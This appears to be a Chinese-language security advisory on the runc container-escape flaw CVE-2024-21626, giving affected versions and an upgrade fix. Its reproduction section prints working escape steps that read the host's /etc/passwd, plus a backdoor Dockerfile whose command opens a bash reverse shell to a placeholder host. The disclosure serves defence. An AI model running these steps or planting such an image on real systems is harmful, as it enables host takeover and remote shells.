【漏洞预警】runc容器逃逸漏洞(CVE-2024-21626)

漏洞概况

runc是一个开源的命令行工具,专用于创建和运行符合 Open Container Initiative (OCI) 规范的容器。


作为容器运行时(container runtime)的一种实现,runc的灵活性使其能够管理容器的完整生命周期,包括创建、启动、暂停、继续和销毁容器等操作。


近期runc社区披露了高危安全漏洞CVE-2024-21626,该漏洞可能被恶意攻击者利用,造成严重的安全风险。


runc在初始化过程中意外地将宿主机的一些关键文件描述符泄露到容器内部,导致攻击者可以利用特权用户执行恶意容器镜像,并以容器内部进程的身份在宿主机挂载命名空间中拥有工作目录,从而访问宿主文件系统。在runc exec过程中同样存在文件描述符泄露和工作目录验证不足的问题。


如果容器内的恶意进程知道某个管理进程将使用--cwd参数和给定路径调用runc exec,就可以通过符号链接替换工作目录路径,绕过PR_SET_DUMPABLE保护,进而访问主机文件系统。


漏洞等级


利用可能


影响范围

>= 1.0.0-rc93 runc <= 1.1.11  and  kernel version >= 5.6


修复建议

目前官方已发布最新版本,建议受影响用户升级至 runc >= 1.1.12

https://github.com/opencontainers/runc/releases/tag/v1.1.12


复现过程

创建测试容器模拟正常业务容器


docker run --name cve-2024-21626 --rm -it ubuntu


由于runc exec中存在文件描述符泄漏和工作目录验证不足,便可以用符号链接将该路径替换为 /proc/self/fd/8/


ln -sf /proc/self/fd/8/ /runc_test #注:需知道容器cwd参数


理员启动漏洞容器并指定了--cwd 参数和给定路径调用


docker exec -it -w /runc_test cve-2024-21626 sleep 1200


查看进程id


ls -F /proc


指向进程10当前工作目录并查看节点文件


cat /proc/10/cwd/../../../../../../etc/passwd


镜像仓库投毒或社工诱导部署后门镜像


#dockerfile

FROM ubuntu:18.04

WORKDIR /proc/self/fd/8/

CMD /bin/bash -c'bash -i >&/dev/tcp/ip/65532 0>&1'


构造后门镜像并查看


docker build -t cve-2024-21626-test -f dockerfile_cve-2024-21626.yaml .


受害者运行后门镜像


docker images 

docker run  7d30e331ffeb


免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐